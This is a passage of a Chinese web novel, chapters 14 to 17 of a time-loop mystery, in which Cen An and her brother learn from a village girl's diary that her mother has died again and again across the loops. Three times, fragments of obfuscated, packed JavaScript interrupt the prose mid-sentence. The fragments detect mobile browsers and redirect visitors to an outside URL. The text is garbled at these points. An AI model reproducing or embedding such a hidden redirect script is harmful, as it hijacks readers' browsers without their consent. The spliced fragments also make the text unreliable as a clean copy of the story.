不管他们想在程杉身上得到什么,一旦得手,必然不会对程杉心慈手软。所以她更要守在程杉身边,一是替他转移火力,二是防止他们将他偷渡带走,她得好好保住自己的命,才能护程杉的周全。 想通这一点,岑桉再一次心安地躺回了床上。 眼皮渐渐发沉,路灯的催眠功能对此刻的她来说实在是太宝贵了,她的身体和精神都处在极度疲惫状态,急需深度入眠进行休整。 在即将入睡的前一秒,岑桉又又想起一件事——上个轮回,荀昼生跑哪里去了? 第一个轮回他留下一条短信;第二个轮回他阻拦了她冲破道德底线的杀人行径,帮她拿到了“金箍棒”,还隐晦地帮她讲解了荀家村相关背景信息;第三个轮回他却连人影都没出现,他是不是出了什么意外? 种种迹象都表明,荀昼生是站在她这边的战友,也就是与荀家村其他村民相对立、与那滩烂泥相对立,那么,那个所谓“有用之人”会不会指的是他? 如果这个推断成立,那程杉是不是还会有危险? 岑桉腾一下又坐了起来。 “姐——”程杉的声音从下床幽幽传来:“你在上床做仰卧起坐呢?” 14. 第十四章 由于上铺某人昨晚一夜仰卧起坐,即便有路灯加成,程杉也没睡好。 他本来就心系门外孤鬼和拯救世界,又被老姐问的“影子杀人”吓得胡思乱想,翻来覆去一宿都在思考,自己上铺躺着的那个到底是老姐还是老妖。 于是,岑桉一觉睡醒,就对上了程杉两个像被揍了两拳的熊猫眼。 “你一宿没睡啊?”岑桉诧异。 “你倒是睡得挺香啊。”程杉幽怨。 他像个幽灵一样跟在岑桉身后:“你是谁?你是我姐吗?你怎么证明?” 岑桉:“……” 岑桉:“我现在没给你再补两拳,已经是出于姐姐的仁义了。” 程杉不信,继续围着她打转。 “你证明一下。” “你证明一下嘛!” “你不证明我怎么知道你是不是我姐?” “你不是影子精上身想骗取我的信任再杀了我?” 岑桉忍。 岑桉忍无可忍。 岑桉无须再忍。 她嘣一下敲响了程杉的脑门:“有完没完了?我不是你姐你还能在这好好站着?傻了吧唧的,再吵真给你扔出去!” 程杉委屈,程杉抱头:“知道了知道了!姐你下手轻点——” 他揉了揉发红的额头,蹲在地上看收拾背包的岑桉:“姐,你今天还拯救世界吗?带我一个呗。” “那你得保证什么都听我的。” “我保证!绝对绝对,什么都听老姐的!”程杉三指朝天。 岑桉最后核对了一遍,拉上了背包拉链:“行,你收拾收拾,准备一下,一会儿出发。” “出发去哪儿?”程杉兴奋。 “出发去吃饭。” 程杉:? 程杉:“哪儿来的饭?” 霹雳乓啷—— 咣—— 先是窗外一通乱响,紧接着屋门被大力砸响。 岑桉拍拍程杉的肩:“喏,饭来了。” * 再坐在饭桌上时,岑桉心境已经完全不同了。 已知这桌人有两个都是烂泥摊的同伙,再加上一个还没起床吃饭的荀耀,他们这齐聚一桌喊岑桉姐弟来吃饭,是示威还是试探? 老村长像上次一样,叽里咕噜一顿后大家伙才开饭,不同的是,这次岑桉每个字都听懂了。 他说:“苍天在上,黄土在下,感谢神明赐予的早餐,信徒永远为您祈福。” 岑桉:? 神明赐予的早餐? 敢情种地的荀叔远和做饭的王春花都是工具? 程杉依旧对鸟语一窍不通,装模做样地跟着点头,暗地里冲岑桉挤挤眼——你听不懂吧,我也听不懂,表演一下意思意思,以示尊重。 岑桉:“……” 对不起弟弟,我叛变了,我听得懂。 上次能听懂的还是词汇,这次已经是整句了,这种进步只能归功于时间循环。 但装听不懂也没坏处,岑桉想,留一手也许能当翻盘的底牌。 荀叔远相当健谈,上次有程杉一拖三,岑桉置身事外,压根没意识到他有多能聊。 这次没了任劳任怨完成陪聊任务的程杉,岑桉自然就成了陪聊的主力。 好在这位总能无意间透露不少消息,比如想当年村落的热闹与兴盛,比如曾经极受推崇的祭神节。 “祭神节是什么?”这是岑桉问的。 “当年发生啥了?”这是程杉问的。 桌上忽然息了声。 没人开口说话,没人动手夹饼,就连咀嚼声也一并不见了。 程杉也是一时脑热问出的这个问题,他莫名觉得老姐会对这个问题感兴趣,在得到她赞许的眼神后,更是挺直了身板。 岑桉若无其事地伸筷子夹了一块油饼,放进程杉的碗里:“吃饭呀,怎么都不吃了。” 荀叔远也乐呵呵地跟了一筷子:“对,吃饭,吃饭。” “两个小娃娃年纪不大,对老习俗还挺好奇。俺先回答女娃娃的,这祭神节——” 他还未说完,就被一声撂筷子的砰响打断了话音。 老村长猛地一搁碗,磕得桌子摇晃:“我说过了,不准再议论这个!” 荀叔远也撂下筷子:“村里都多久没来人旅游了,难得有俩年轻娃娃,帮俺们宣传宣传也好啊。” “对呀,”岑桉笑眯眯的,“我会拍照呢,还有粉丝,发到网上肯定会有不少人来咱荀家村旅游。” 她特意夸大其词,就是想看看桌上几人的反应。 荀小妹的眼睛亮晶晶的,荀叔远一听也来了精神,连短袖都撸到了肩头上,王春花似乎在走神,看不出什么反应,只有老村长气得吹胡子瞪眼:“只要我没死,荀家村就是我说了算,我说不准就是不准!老三,你要反了老子吗?” 程杉一脸茫然地听着他叽里咕噜地发火,岑桉也有样学样,装出一副没听懂的懵懂样。荀叔远悻悻,也没再犟嘴,但也没再吃东西了,像是个用绝食表达抗议的小孩儿。 这时,真小孩儿出来了。 “好吵啊,妈我饿了。”荀耀捂住嘴打了个打哈欠,闭着眼笔直地走向院里,和上回一样险些坐到程杉身上,“你谁啊?” 王春花终于有了反应:“耀耀,来妈这坐。” 之后的走向也再没出什么岔子,就连老村长的呜哩呱啦岑桉也听得明明白白:“臭小子,没看到客人坐这儿呢?睡到日上三竿才起来,你怎么不直接睡到晚饭啊?来,给客人道个歉。” 荀耀撅着嘴,不作声。 “这可是神明的客人,耀耀,听话。” “我知道了爷爷,对不起,我错了。”荀耀低头揪着衣角。 “知错能改就是好孩子,应该得到奖励,耀耀想要什么?爷爷出钱,爷爷有钱。” 荀耀眼前一亮:“那我要零食!要冰激凌!” 岑桉努力绷着面部神情,装出一副迷糊样。 有程杉这个现成的标杆在,岑桉模仿得至少有八成像,至于他脸上几乎要实质化的真情实感的大问号,那实在是天赋使然,她学不来。 “他就是荀耀,”荀小妹小声解释说,“村长爷爷刚刚说他知错能改就是好孩子,问他要什么奖励。” 程杉闻言露出了一言难尽的表情。 一顿饭结束,岑桉主动告辞,说要出去转转,婉拒了热情自荐要当导游的荀叔远,拉着程杉往院门口走去。 然后就这么在门口捡着个大活人。 “好巧。”岑桉笑着挥了挥手,“我缺个导游,你看方不方便?” 荀昼生紧绷着的神色猛然一松:“我的荣幸。” 程杉跟见了鬼似的,左瞧瞧又看看,半晌蹦出来句:“你俩啥时候勾搭上的?” “姐你别笑得跟朵花一样,行吗,我害怕,求你了。” 他自认撞破了老姐的奸情,深知自己活不久了,一张嘴像是连环炮仗,逮谁突突谁:“哥你也别笑了,跟孔雀开屏似的,太掉价了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149745|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “小孩儿你也别躲后面看了,那杆子挡不住你,你肚子太圆了。” “还有小妹妹你,你捂着嘴乐什么呢,没看过人谈恋爱啊,乐成那样,你听我一句劝,太廉价的男人都不是什么好东西,送上门的更不用说了。” 除他外的四人:“……” 得亏荀叔远出门了,王春花刷盘子碗去了,老村长也回屋了,不然全都得让程杉炸一遍。 岑桉也是没想到,他嘴跟淬了毒一样,不知道从哪受了刺激:“你发什么疯?” “姐,”程杉痛苦,“你怎么也是一见钟情见色起意的款啊?这哥们你不就见过一面吗,这就谈上了?” 岑桉:? 荀昼生睁大眼:“谈上了?” 岑桉:?? 荀小妹欢呼一声蹦起来:“谈上了!” 岑桉:??? 荀耀从柱子后面探出头来:“谈上了下一步是不是就要亲嘴了?” 岑桉:“你等等。” “我、不、允、许!!!”程杉一蹦三丈高。 岑桉:“你也等等。” 岑桉:“你们都等等。” 她揉了揉太阳穴:“我算是知道谣言是怎么诞生了。” 在场就五个人,居然已经形成一条谣言传播链了,还是自带加工特效的那种。 “本人一没一见钟情,二没爱上,三更是没谈,郑重声明好吧。程杉,管好你那张嘴。” 荀昼生居然露出了些许失落:“哦,还没谈。” 岑桉:啊? 岑桉茫然,敢情你不是当事人是吧?怎么就剩她一个人在辟谣了? 程杉装模作样地捂住心脏后退两步:“还、没谈,意思就是,快谈了?” “程、杉。”岑桉咬牙切齿。 “姐我错了——姐——别打头啊——” * 岑桉原本的行程计划,就是在村长家门口捞上荀昼生,然后带着程杉一起,跟着荀小妹去她家一探究竟。 眼下同原计划相比也没偏差多少,就是多了个圆滚滚的小尾巴。 “你跟着我们干嘛呀,村长爷爷不是说给你买零食吗?”荀小妹不情不愿地撅着嘴。 荀耀梗着脖子:“我来看着你有没有乱说话!爷爷都说了,现在是特殊时期,当心祸从口出!” 他的用词一听就不是孩子的口吻,大概率是一比一照搬了老村长的话——毕竟就前几次接触的情况来看,在岑桉打过照面的人里,这一家文化水平最高的应该是老村长,他给三个儿子起的名字都很有书香气,这年头讲究伯仲叔季起名的已经不多了,显然老村长肚子里是有些墨水的。 岑桉一下子就接受了荀耀。 原因无他,这孩子一听就经常在家背词,年纪又小,一看就是套话的好人选。 程杉眼瞅着她留下了荀耀,心里更沮丧了。 “姐,”他拉住岑桉,两人落在另三人身后,“你真没跟他谈吧?” “你怎么还纠结这个,真没谈,你都说了,才见几次啊。”岑桉无奈。 “那,他和我哪个重要?”程杉扭扭捏捏。 岑桉:? “你想挨打就直说。” “不是不是,姐你等等手下留情啊——”程杉娴熟地原地蹲下抱住脑壳,“我是想说姐你要是没谈能不能选我当男主角啊!姐弟番也超有市场的,我真的超有经验的!” 注意到两人没跟上大部队特意折返的荀昼生:? 岑桉:毁灭吧。 15. 第十五章 岑桉终于搞明白了。 刚才那一出闹剧,原来是程杉特意演给她看的。 既然已经喊出口了,程杉干脆破罐子破摔:“姐你看啊,主角团五个人已经差不多了,那俩小的一看就是辅助,你是女主角,那得有个男主角吧?你既然没谈那就不是恋爱番,你考虑考虑我呗?” 他的眼神里透露着前所未有的渴望:“我等当主角这一天真的很久很久了。” 荀昼生:“……” 两个小孩子也已经走了回来,荀耀还嘟嘟哝哝:“大人就是麻烦。” 荀小妹恰巧听到了最后几句,小小声道:“真的不能谈一下吗?” 岑桉是真不明白了。 现在小孩儿对谈恋爱的执念这么大吗。 是,她承认,她最开始被人扶腰的时候是有那么一点点心动,但那是受吊桥效应【注】的影响,之后她甚至还因为荀昼生的遮掩和隐瞒而怀疑过他,再后来她对他就是纯粹的战友情了啊! 荀昼生蹲了下来,与荀小妹平视:“感情的事情呢,是强求不来的。等缘分到了,自然而言就会在一起,你还小,等再大些就会明白的。” 怎么语气听着还有点怨念。 岑桉也在荀小妹身前蹲下:“小妹,虽然不知道你为什么希望我们‘谈一下’,但我得把话说明白,我没想谈恋爱,暂时也不会谈恋爱。每个人在不同人生阶段的追求是不一样的,姐姐现在有更重要的事情要做。” 她在心底暗暗补了一句:比如,活命。 荀小妹不解地歪了下脑袋:“姐姐你不喜欢大哥哥吗?” 一般情况下,岑桉的回答都会比较委婉,比方说:没有不喜欢,我很欣赏他,但这并不是男女间的喜欢,他会遇到更适合他的人。 但岑桉隐隐觉得荀昼生在这个问题上的态度有些奇怪,便也没想给人留下误会的余地:“嗯,不喜欢。” “可是大哥哥很喜欢你。” 岑桉:? “不、不是,”荀昼生完全没料到荀小妹会语出惊人,急得舌头打结,前言不搭后语,“也不是不是的意思,我是想说——呃,我……” 半天没说出一句完整的话。 荀耀吸吸鼻子,故作老成:“哦——我懂,单相思嘛。” 程杉很满意老姐拒绝的态度,连带着看荀昼生也顺眼多了:“我也懂,兄弟,有眼光啊。” 荀昼生的脸已经快染成红色了,眼底似乎还有点水光,岑桉莫名幻视了一只急得泪眼汪汪、直吐舌头的狗狗,她心软了下,圆场道:“别瞎起哄了,我们就是朋友,普通朋友,对吧荀昼生?” 荀昼生好像更急了。 他喉结滚动了下,艰难地吐出了一个字:“嗯。” 程杉:十分满意。 还是程杉:等等,好像哪里不对劲。 他颤颤巍巍:“你咋知道他叫什么?你们果然有一腿——” 最后还是一个暴栗让程杉闭了嘴。 对于“怎么知道名字”这件事,解释起来太过麻烦,编瞎话更是耗费脑细胞,岑桉果断选择跳过,直接转移话题:“小妹,你家还有多远,家里有其他人在吗?” “就快到了,平常就我自己在家,爸爸出门早。”她乖巧应答。 岑桉对小女孩有天然好感,从最初见面到现在,这孩子都聪慧懂事得很,唯二不对劲的地方就是对老村长“感谢神明”的转述,以及第二次循环时荀叔远口中的“她妈妈早走了”。 前者本质上是老村长的问题,岑桉只是连带着对转述者也心底发毛,可后者却是实实在在的信息不一致。 岑桉不愿意怀疑荀小妹,但此事实在蹊跷,她的话里还恰好露出了把柄——她说平常只有自己在家。 “那你妈呢,不在家陪你吗?”程杉随口一问,正正好击中了岑桉心里的疑点。 这次早晨的交流中,她没有把话题往荀小妹身上引,荀叔远自然也没有主动提到荀小妹妈妈的情况,所以程杉的认知还停留在昨晚的“救妈妈”上,无知者无畏地问出了这个问题。 “妈妈不在家,但是她一直都陪着我。” 咕嘟。 程杉咽了口唾沫。 他怀疑自己心是脏的,所以听什么都像恐怖故事。 于是他又强撑着补问道:“那、那你妈妈,现在在哪儿?” “在这里呀。”荀小妹指了指自己的脑袋,笑得很甜。 程杉心脏骤停。 岑桉早就有了心理准备,一把支撑住弟弟的后背,环顾了众人的反应。荀昼生显然欲言又止——他怎么又知情;荀小妹脸上的笑不作假,她是发自真心这样觉得;荀耀面色古怪,像吃了什么不干净的东西。 看起来,还是最后那位最好下手。 岑桉还没开口,就见荀耀伸手要扯荀小妹的后领,被小妹侧身躲过。 他眼神闪烁,像个小大人一样赔着笑:“别见怪,别见怪,小妹她脑子有病,不清醒。” “你才有病呢!”荀小妹气得小脸涨红。 “爷爷就是这么说的,你就是又犯病了!” “他又不是什么事都对,妈妈就是还在,她一直在保护我!” 眼见着两小只呲牙咧嘴要打起来了,荀昼生想要劝架,岑桉一把按住了他:“再等等。” 她在等,等荀耀按耐不住吐出真话。 他果然没有辜负岑桉的期待,脸红脖子粗地嚷道:“你妈早就死了!被你爸打死的!你说她在在在,在哪儿呢,不早就埋地底下去了!” 荀耀吼完才意识到自己说了不该说的话,惊恐地后退几步,但已经来不及了。 程杉遭到了暴击,整个人跟灵魂出窍似的。 荀昼生叹了口气,开始低声安抚嚎啕大哭的荀小妹。 岑桉只有一个想法:不是说难产吗?怎么又换了种死法? * 一行人抵达荀小妹家时,她已经不掉眼泪了,只是还一抽一抽地呼着气,一时半会儿也平复不下来。 荀小妹本来就跟荀耀不亲近,吵架之后更是隔着八丈远,荀耀一个人走在最头上,她落在队尾,紧紧拽着岑桉的手。 很奇怪,事情都古怪离奇到这种地步了,岑桉还是对荀小妹提防不起来。 而且荀小妹对岑桉有一种近乎天然的依赖,一双眼看向她的时候,像极了依偎在妈妈身边的小猫崽。 “到了。”荀耀粗声粗气地说。 荀小妹的住所在湖东畔,几乎是整个村子离老村长家最远的房子了。 这里离湖沼丛林很近,近到岑桉有些后怕——毕竟上次就是在这被人和烂泥弄死的。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159403|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 趁大家伙进了屋,岑桉悄悄拉住荀昼生,往屋外撤了几步。 “你看那儿,”她指了指泥泞不堪的湖沼,“你说不要弄脏自己,我套着塑料袋进去的,管用吗?” 荀昼生沉默了下。 “你,进去了?” “对啊。” “一个人?” “对,呃,也不对,”岑桉指了指老村长家的方向,“都在。” “……”荀昼生的表情近乎木然,“晚上?” “嗯嗯。” “你——”他像是被堵得不知道说什么,“我知道你有自己的考量,可这也太莽撞了,这才——”后面的话被他吞了下去,岑桉猜又是循环的屏蔽规则在作怪,也没追问。 “你都闯到大本营了,还有什么管不管用的啊。”他无可奈何,“赢了吗?” “也不能算输。”岑桉心虚地避开他的视线,“对面胜在数量,我胜在质量嘛。” 荀昼生:“……” 他对这话一点脾气也没有,只能老妈子一样叮嘱道:“多小心点总是没错的,你——算了,你比我有数多了,按你的想法来就好。” 末了,他扫了眼湖沼的方向,又低低添了句:“谨言慎行。” 谨言倒是无所谓,有规则看着呢。 岑桉心想。 至于慎行——视情况而定嘛。 * 荀小妹似乎对两人的单独相处很是乐见其成,她是个个头上的矮子,却是个言语上的巨人。当程杉要冲出屋插进两人中间的时候,她怯怯一句“姐姐会不高兴吧”立竿见影地打消了程杉的念头。 荀耀靠在门框上,咬着手指看无声剧看得起劲,但等两人回来后还是一本正经地伪装道:“大人就是麻烦。” 荀小妹站得离屋里两个男生老远,岑桉一进门,她就跟吸铁石一样自动贴了上去,嘴上还不忘挖苦荀耀:“牛鼻子插大葱。” “你说什么?”荀耀没听懂。 荀昼生也没听懂,但程杉已经懂得要憋不住笑了。 荀小妹目不斜视。 “我说你,装相(象)。” 掷地有声。 荀耀回过味来,张牙舞爪就要扑上来,荀小妹径直缩到了岑桉身后,荀昼生也已经按住了乱挥拳头的荀耀。 程杉咽下了笑,清清嗓子:“男子汉大丈夫,就得敢作敢当,动手打小姑娘算怎么回事啊。” 荀耀不服,还要打,荀昼生一手压在他的肩膀上,把他按在原地:“你看,刚刚你说错了话,小妹也没有怪你,现在你反过来要打她,是不是肚量有点小了?” 荀耀被说服了一点,但立马找出了漏洞:“这是两件事。” “对,这是两件事。第二件事是小妹不对,她不该这么说你,那第一件事你是不是该向小妹道歉呢?” “可是她也没跟我道歉。” 荀小妹立马探出个脑袋:“对不起。” 荀昼生原本还准备了“先来后到”“长幼有序”之类的话,这道歉一出,他组织好的劝词全都用不上了。荀耀也像霜打的茄子,蔫头蔫脑:“好吧,我也对不起,不该戳你伤口。” 岑桉把全过程看得一清二楚。 她轻轻戳了戳荀小妹的额头。 小丫头。 还挺机灵。 16. 第十六章 荀小妹家里的布置很简洁,看得出来收拾得很勤。只有一间除外,整个房间都充斥着散不去的酒味,岑桉只是站在门口,就被浓酒臭熏得头发晕。 “这是爸爸的房间。”荀小妹拉着岑桉的手,“姐姐去我房间吧,我昨天刚打扫过呢。” 说这话时,她的眼神一直瞥着后面跟着的三位男性,荀昼生和程杉早就自觉地停下了脚步,只有荀耀还毫无觉察地往前跟,被程杉拦腰抱住:“弟弟,哥问你两句话呗,我大老远来一趟,你陪我聊聊天。” 就这样,岑桉跟着荀小妹进了卧室,其余三人留在了客厅。 阳光透过窗沿,洒满了狭小的卧室。 床头打了补丁的小熊娃娃,木桌上老旧的粉色发卡,还有笔筒里只剩短短一截的彩色蜡笔,撑起了这个陈旧但温馨的屋子。 荀小妹拉着岑桉坐下,抿着嘴眨巴眨巴眼,一时间不知道从何说起。 岑桉有点手痒,摸了摸她的脑袋:“如果不知道怎么开头,那我来问,你来答,好不好?” 她乖乖点头。 “小熊是妈妈缝补的吗?” “嗯!已经好多好多年了,是我的生日礼物,妈妈说,小熊很高兴和我成为朋友,会陪我一起长大,她也一样。” “那发卡呢?” “也是妈妈做给我的,她手可巧了,会编好多好多东西,还会画画。我就没有妈妈画得好,她买给我的蜡笔都快用完了,我还是画不成样子。” 岑桉想说,等出去之后买一盒新的送给她,但又不知道这算不算画大饼,便没有说出口。 有了老物件作引,荀小妹打开了话匣子。 在她的描述里,妈妈是个无所不能的英雄,能把家里收拾得井井有条,把书本上的知识讲得头头是道,能把小超市的账单码得规规整整,还能做手工、讲故事、唱童谣,以前村里的孩子都特别喜欢她。 “而且,”荀小妹的眼睛亮亮的,“妈妈是大学生。” “我在妈妈枕头底下,看到过胶带粘起来的碎纸片片,我偷偷问过村长爷爷,他说那个是‘毕业证书’,是很厉害的东西。” 岑桉皱了皱眉。 撕碎的毕业证,嫁入村落的大学生,结合之前第二次循环初见时,荀小妹所说的“妈妈经常挨打”,每个字听起来都像是拐卖。 岑桉有些不忍:“嗯,你妈妈很厉害。” “姐姐也很厉害,”荀小妹的小手包住了岑桉的手,“所以我想拜托姐姐帮我,我想救妈妈。” 救? 怎么救? 荀叔远说她妈妈难产早逝,荀耀说她妈妈被她爸爸打死,岑桉还没弄明白这是怎么一回事,甚至不知道她妈妈是生是死,又怎么能谈上“救”? “我知道这么说很难相信,村长爷爷也说我异想天开,但我觉得妈妈还活着,在另一个‘我’身边活着。” 一句话激出了岑桉的鸡皮疙瘩。 “另一个‘我’?” “嗯。”她用力点头,从贴身口袋掏出来一把小钥匙,打开了抽屉的锁,“姐姐,你看看这个。” 抽屉里躺着一本日记本,封面上手绘了一只燕子,一只在柳枝下振翅的燕子。 扉页是一行娟秀的小字:“希望我的宝贝囡囡健康快乐,好好长大。”底下是一个红彤彤的爱心,还有几个孩子气的大字:“我爱妈妈!” 岑桉蓦地眼眶一酸。 她平复了下呼吸,翻开了第一页。 “6月1日 今天我有名字了,我叫荀小妹。 咦,为什么我有点不会写字了? 好奇怪,字好难看。” 字确实歪歪扭扭,像是握不住笔的初学者,每个笔画都落在了意料之外的地方,但却又写得出“荀”“咦”这种笔画多的字眼。 “6月2日 不可能!不可能!!!” 这一整页涂涂改改划去了很多东西,最后剩下的只有两个不可能,和无数个大大的感叹号。 “6月7日 今天是妈妈的头七。 婶婶说,妈妈是为了给我取名字,被爸爸打死的。 为什么?为什么跟我记忆里的一点都不一样? 不对,不对!!!(一团乱墨) 我这是怎么了? XS78年6月9日 为什么会回到六年前?我才两岁? 妈妈呢?妈妈为什么会死? 赔我妈妈!!!(涂黑的哭脸) XS78年6月10日 我昨晚梦见妈妈了。 妈妈在给我唱摇篮曲。(一块干涸的泪痕) 我好想妈妈。 XS78年6月16日 又梦到妈妈了。 我不想梦到妈妈了。 爸爸打我,她挡在我身上,她不动了。 为什么会这样? 我不要梦见爸爸,我只要妈妈! XS78年6月18日 不对,不对! 真的是梦吗? 我为什么又梦见妈妈死了? 为什么要让我上学,我不要上学,不要求他,他会打死你的! XS78年6月20日 好奇怪,我前面在写什么? 做噩梦了吗? 我怎么都不记得了。 妈妈明明在我身边呀。 XS79年4月13日 今天是我的生日。 妈妈给我唱了生日歌,祝我生日快乐。 虽然她今年没有给我送礼物,但我好爱妈妈。 XS79年6月18日 又做梦了。 妈妈倒在小超市,没有呼吸了。 村长爷爷说,她可能是中暑了。 我为什么要说又? XS79年6月20日 妈妈今天给我讲了新故事! 妈妈真好,我永远爱妈妈! XS80年1月29日 新的一年啦,我已经是个四岁的大人了。 虽然爸爸把盘子砸了,但是碎碎平安,岁岁平安。 嗯…… 为什么觉得有点眼熟呢? XS80年6月16日 奇怪,脑袋里怎么总多出来一些奇怪的东西。 妈妈不是送给我一只兔子和小熊作伴吗? 我怎么找不到了呀? 妈妈会不会生气啊……(哭哭) XS80年6月20日 为什么他们总说妈妈死了? 妈妈不是就在这儿吗? XS81年6月18日 好久没写了,不过现在的字看起来顺眼多了。 我说我记了很久日记,村长爷爷居然还不信。他居然说什么,小孩子家家哪里会写字,我明明从两岁就会写字了! 而且他明明知道我在写日记的,他说过,有什么怕忘记的事情,可以用笔记下来,这样就能永远留下痕记了。 咦,我还知道痕迹怎么写,我好棒! XS81年6月20日 我找村长爷爷对峙了,他居然不承认说过这个话,好坏! 大人说话都不算数! 妈妈不一样,妈妈最好了! 妈妈还教我查字典,今天这个‘峙’就是我在字典里查的,妈妈如果知道一定会夸我的! XS81年7月2日 为什么我没办法告诉妈妈? XS82年4月13日 六岁了。 妈妈说,六岁可以上学了,我不让她跟爸爸说。 还好她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166935|180469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说。 不然会被打死的。 XS82年6月16日 又做梦了。 梦见邻居家的大壮哥哥搬走的时候,他抱了抱妈妈,被爸爸看见了。 爸爸说,这么喜欢男孩,就自己生一个。 妈妈说她只要我一个孩子。 为什么要打妈妈。 谁能救救妈妈。 XS82年6月20日 大哥哥回来了,还给我带了大白兔奶糖,我要省着吃。 XS82年6月27日 荀耀好坏! 他把糖袋子都抢走了,我一共才吃了一颗……(大哭脸) 还好我给妈妈偷偷留了两颗,她一定会高兴的。 XS82年7月28日 糖都快化了,妈妈怎么还不吃? XS83年6月18日 好可怕的梦。 是我偷看了村长爷爷家仓库里的书,也是我给荀耀分糖吃,为什么要打妈妈? XS84年6月12日 又做梦了。 妈妈又死了。 她说她想和爸爸分开。 XS84年6月13日 这些都是什么时候记下的?我为什么一点印象都没有? XS84年6月14日 妈妈呢? XS84年6月16日 我都想起来了。 我要救妈妈。” 岑桉合上日记本的时候,浑身上下的毛孔都在冒汗。 日记本里每个字眼都透着怪异,合在一起更是细思极恐。 岑桉感觉,荀小妹仿佛被切成了无数片,每一片都有自己的记忆。 如果每一次噩梦都对应着一次荀小妹妈妈的死亡,那就是七次,再加上第二次循环时荀叔远说的难产,总共八次。 八次意味着什么? 如果荀叔远和荀小妹都没有说谎,那么每一片记忆就对应着一次时间循环,这也就意味着,至少有八次循环存在。 荀昼生经历过几次? 除了她和他之外,又有几名时间回溯者? 荀小妹又为什么会拥有每次循环的记忆?她也是回溯者吗? 许是看她怔神很久,荀小妹主动开了口:“姐姐,你有什么想问的吗?” 岑桉愣愣地看着她,艰难问道:“你,记得几次?” 她摇摇头:“好多好多次,记不清了。每次都是从头再来,什么都不记得,只有零碎的噩梦在提醒我,以前发生过什么样的事。” “你是说,每一次,你都是从出生开始?” “嗯。但做梦不是,做梦是从妈妈走后开始的,就像有什么开关一样。” 岑桉说不清此刻是什么情绪。 她内心困惑过,也埋怨过,为什么会选中她进入这个循环?她曾利用屏蔽规则试探过,得出一个名为“命运”的答案,简简单单两个字就让她被困在了这不到两天的时间里,历经了意识散灭、肉身死亡的威胁,还体会到了目睹亲人丧生的苦楚。 但现在,这本日记本告诉她,有这么一个小女孩,她被困在八年的时间里,一次又一次来到这个世界,一次又一次亲历妈妈的死去,然后一次又一次地失去记忆、自我怀疑、遭人不解。 岑桉不敢想,如果有一天,自己脑海里被加塞了几倍的记忆,脑袋里记起的和现实中发生的产生了冲突,自己会不会因为自我怀疑而陷入自我否定。 她想,她大概会崩溃吧。 可荀小妹没有。 她一直坚信自己的妈妈还活着,她顽强对抗着村子里其他人对她的质疑,甚至暗中找了记者想做出改变——也正是因为这样,她把岑桉拉了进来。 她从来没有放弃。 她说,她想救妈妈。 17. 第十七章 事到如今,岑桉终于愿意承认,自己似乎是有点滥好人。 她本该怪的,怪荀小妹为什么要把她牵扯进来,自己一接单摄影干得好好的,怎么莫名其妙就被认成了暗调记者,程杉好好享受着大考结束后的假期,怎么忽然就调到了热血动漫的频道——虽然他可能是自愿的。 她此刻很难说出半个责怪的字眼。 她甚至开始设身处地地共情荀小妹的感受。 如果这是命运的安排,她认了。 况且还没到穷途末路的时候,她试上一把,未必找不出两全其美的办法,兴许完成荀小妹的心愿就是达成离开荀家村结局的条件呢? “小妹,”岑桉吐出一口气,“我答应帮你。在此之前,我有几个问题。” “第一,你是在哪一次确定要找记者帮忙的,那一次你的妈妈是什么情况?” “第二,中暑那次,有没有什么让你觉得可疑的人或者事?” “第三,为什么你和荀耀都没有上学?” 据荀小妹说,虽然其他的记忆都很混乱,但她非常确认,第一次想找记者帮忙时,妈妈还活着。当时妈妈问过她,如果妈妈想和爸爸分开,她愿不愿意跟着妈妈走,她毫不犹豫就点头了。 但妈妈提出之后,被爸爸按着打了一顿,不致命,但也下不了床。她那时已经在书上看到暗访记者的存在,也学到了“拐卖”的含义,决心帮妈妈一把,所以才通过网络找来了岑桉。之后的每一次,都是在重复这条轨道。 “可是姐姐,”荀小妹不解,“妈妈总说,是她犯了错,她有什么错呢?” 岑桉也不明白。 “错的永远不会是在苦难中挣扎成长的人,”岑桉说,“即便真的有错,也该是苦难的错。” 荀小妹懵懂地点了点头。 关于第二个问题,其实荀小妹也没有答案。 她说,爸爸几乎三五天就会冲妈妈发脾气,实在是太多太多,她不记得那次两人有没有吵架,但令她印象深刻的是,妈妈看起来和平常没有任何差别,村长爷爷就告诉她,妈妈离开她了。 这也正是岑桉怀疑的点。这个症状听起来和当初程杉的情况一模一样,她推测有可能是同样的死因。也就是说,至少在那一次,那摊烂泥就已经掺和其中了。 至于第三点——其实岑桉很在意,这两个孩子按理已经到了上学的年纪,为什么还一直留在村子里。 通过两人的名字不难推断出,这家的主事人——也就是老村长——是个重男轻女的,他就算没有让荀小妹上学的打算,也不该不考虑自己的孙子,况且他自己就是个读书人,不会不知道上学的重要性。 岑桉猜测,是不是和那扇出不去的村大门有关。 